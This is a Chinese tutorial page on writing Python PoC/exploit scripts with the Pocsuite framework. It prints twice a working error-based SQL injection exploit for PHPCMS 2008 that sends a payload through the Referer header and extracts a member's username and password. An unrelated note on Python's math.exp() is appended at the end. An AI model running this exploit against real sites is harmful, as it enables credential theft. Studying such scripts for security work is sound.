基于Python 来编写 PocExp 该怎么入门

Python017

基于Python 来编写 PocExp 该怎么入门,第1张

Pocsuite官方文档例子:

#!/usr/bin/env python

# coding: utf-8

import re

import urlparse

from pocsuite.net import req

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

   vulID = '62274'  # ssvid

   version = '1'

   author = ['Medici.Yan']

   vulDate = '2011-11-21'

   createDate = '2015-09-23'

   updateDate = '2015-09-23'

   references = ['http://www.sebug.net/vuldb/ssvid-62274']

   name = '_62274_phpcms_2008_place_sql_inj_PoC'

   appPowerLink = 'http://www.phpcms.cn'

   appName = 'PHPCMS'

   appVersion = '2008'

   vulType = 'SQL Injection'

   desc = '''

       phpcms 2008 中广告模块,存在参数过滤不严,

       导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,

       如果关闭了错误显示,可以采用基于时间和错误的盲注

   '''

   samples = ['http://10.1.200.28/']

   def _attack(self):

       result = {}

       vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

       payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"

       head = {

           'Referer': payload

       }

       resp = req.get(vulurl, headers=head)

       if resp.status_code == 200:

           match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)

           if match_result:

               result['AdminInfo'] = {}

               result['AdminInfo']['Username'] = match_result.group(1)

               result['AdminInfo']['Password'] = match_result.group(2)

       return self.parse_attack(result)

   def _verify(self):

       result = {}

       vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

       payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"

       head = {

           'Referer': payload

       }

       resp = req.get(vulurl, headers=head)

       if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:

           result['VerifyInfo'] = {}

           result['VerifyInfo']['URL'] = vulurl

           result['VerifyInfo']['Payload'] = payload

       return self.parse_attack(result)

   def parse_attack(self, result):

       output = Output(self)

       if result:

           output.success(result)

       else:

           output.fail('Internet nothing returned')

       return output

register(TestPOC)

然后来谈谈自己的看法:

其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。

1. Requests : 模拟Web的请求和响应等交互动作。

2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。

其余的大部分代码都是漏洞的信息。

Pocsuite官方文档例子:

#!/usr/bin/env python

# coding: utf-8

import re

import urlparse

from t import req

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

vulID = '62274' # ssvid

version = '1'

author = ['Medici.Yan']

vulDate = '2011-11-21'

createDate = '2015-09-23'

updateDate = '2015-09-23'

references = ['']

name = '_62274_phpcms_2008_place_sql_inj_PoC'

appPowerLink = ''

appName = 'PHPCMS'

appVersion = '2008'

vulType = 'SQL Injection'

desc = '''

phpcms 2008 中广告模块,存在参数过滤不严,

导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,

如果关闭了错误显示,可以采用基于时间和错误的盲注

'''

samples = ['']

def _attack(self):

result = {}

vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"

head = {

'Referer': payload

}

resp = req.get(vulurl, headers=head)

if resp.status_code == 200:

match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)

if match_result:

result['AdminInfo'] = {}

result['AdminInfo']['Username'] = match_result.group(1)

result['AdminInfo']['Password'] = match_result.group(2)

return self.parse_attack(result)

def _verify(self):

result = {}

vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"

head = {

'Referer': payload

}

resp = req.get(vulurl, headers=head)

if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:

result['VerifyInfo'] = {}

result['VerifyInfo']['URL'] = vulurl

result['VerifyInfo']['Payload'] = payload

return self.parse_attack(result)

def parse_attack(self, result):

output = Output(self)

if result:

output.success(result)

else:

output.fail('Internet nothing returned')

return output

register(TestPOC)

可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuite.net 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。

这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。

代码很简单最主要的,还是对于漏洞的理解。

先说到这里,有空之后再写一些别的。

exp() 方法返回e的x次方。

以下是 exp() 方法的语法:

import math

math.exp( x )

注意:exp()是不能直接访问的,需要导入 math 模块,通过静态对象调用该方法。